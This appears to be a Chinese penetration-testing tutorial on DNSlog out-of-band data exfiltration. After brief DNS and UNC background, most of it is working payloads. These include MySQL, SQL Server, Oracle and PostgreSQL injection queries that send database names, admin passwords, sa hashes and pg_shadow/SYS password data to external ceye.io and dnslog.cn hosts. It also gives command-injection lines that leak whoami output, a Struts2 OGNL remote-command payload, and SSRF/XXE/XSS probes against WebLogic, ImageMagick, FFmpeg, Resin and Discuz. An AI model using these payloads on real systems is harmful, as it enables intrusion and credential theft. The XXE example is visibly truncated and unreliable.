DNSlog在渗透测试中的应用
预备知识
dns(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)
dns服务器的端口是53。
DNS原理
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
dns在解析的时候会留下记录。
简单来说:
当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。
UNC
介绍一下UNC
什么是UNC路径?
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
用处
- sql注入
- 命令执行
- XSS盲打
- SSRF盲打
- XXE盲打
- 其他
SQL注入
sqlmap可以使用--dns-domain参数实现自动化dns注入
条件:
secure_file_priv为空,null或者指定路径都不行。在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改
数据库要是windows系统。因为语句就是\\servername\sharename,使用的是windows的UNC,去请求共享的文件夹/文件服务器。构造的语句最后会是\\查询结果.xxx.ceye.io\\abc,即网络共享路径。
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。
原理:
使用函数load_file()
,读取数据通过dnslog外带出去,但是文件大小要小于max_allowed_packet()
(限制server接收的数据包大小,默认为1MB),如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
利用的是windows的UNC,访问网络共享文件的特性。
适用于:
可用于联合(union select...),布尔/时间( and (select...) if((select .... ),1,1) ) 的无回显盲注,命令盲注(%os%.xxx.ceye.io `whoami`.xxx.ceye.io)
实测心得:
路径为\\\\查询结果.xxx.ceye.io\\abc
另外关于路径,可能第一次解析到了,第二次在执行相同语句就会不访问,所以可以更换路径的方式,让其再次访问,来外带数据。可能是本地测试的原因,直接在控制台执行的,每句都在一个会话中。ceye不会出现这个问题,dnslog会,可能测试时我挂代理原因。
测试的时候dnslog感觉不如ceye好用不知道是不是挂着代理的问题。
使用dnslog测试时,相同语句第二次执行就不请求dnslog了,不知道是不是因为在控制台用一个会话执行的原因,ceye到没有这个问题。
注意点:
dns服务器无法接收符号,当查询的数据存在符号时需要编码,这里用==hex()==编码(ord()只能编码一个字符)
limit 1,1 m,n 这种会用到,或者general_concat放到一行。
\\\\ widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。
判断是否可用
show variables like '%secure%' # 查看是否是null 在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改
修改:在my.ini 中修改或添加secure_file_priv=空
select host,user,file_priv from mysql.user # 查看当前用户是否有file_priv权限,即load_file()函数是否可用。
SHOW VARIABLES LIKE 'max_allowed_packet'; # 检查max_allowed_packet 看最大能读取最大的文件大小
SQL盲注语句
select load_file('C:\\windows\win.ini')
select load_file(concat('\\\\',(select database()),'.dsgeh.dnslog.cn\\1.txt'))
1' and if((select load_file(concat('\\\\',(select version()),'.6dz4ut.ceye.io\\abc'))),1,1)
#查询数据库名
联合 union select load_file(concat('\\\\',(select database()),'.5djib5.dnslog.cn/1.txt'))
布尔:id=1 and (select load_file(concat('\\\\',(select database()),'.6dz4ut.ceye.io\\1.txt')))
#查询表名
联合:select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt'))
布尔:id=1 and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt')))
#查询列名
联合:select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));
布尔:id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1/2,1/2),'.6dz4ut.ceye.io\\1.txt'))) 注:1/2 替换查询 返回结果不一样
#查询数据
注意:dns服务器无法接收符号,当查询的数据存在符号时需要编码,这里用hex()编码(ord()只能编码一个字符)
联合:select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
布尔:id=1 and (select load_file(concat('\\\\',(select hex(password) from admin limit 0,1),'.6dz4ut.ceye.io\\1.txt')))
其他SQL注入
- 1.SQL Server
CopyDECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
- 2.Oracle
CopySELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
- 3.MySQL
CopySELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
- 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
命令执行盲打
windows 用%variable%
linux 用`variable` 反引号
使用dvwa靶场的命令注入模块实验,假设该注入点无回显
查询到了我们输入的变量:
windows常用变量:
//变量 类型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。
linux常用变量
ping `whoami`.xxxx.ceye.io 等等
curl http://0ox095.ceye.io/`whoami`
xss盲打
注:这种方式可以绕过csp
通过盲打,当出发这浏览器访问预设置的链接地址,如果盲打成功,会在我们DNS服务器收到解析请求。
src href iframe onerror
使用pikachu的xss盲打模块
收到请求说明触发了插入的js代码。
SSRF(无回显)盲打
将url换成我们的DNS服务器,通过查看DNFlog平台日志看是否有服务器ip判断是否有SSRF漏洞
XXE(无回显)盲打
使用参数实体,引用外部实体文件(目的地址是我们DNS服务器),二级或三级域名写成 我们想要的信息。
#以下是测试是否存在xxe
<?xml version="1.0" encoding="UTF-8"?>
%remote;]>
其他
Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo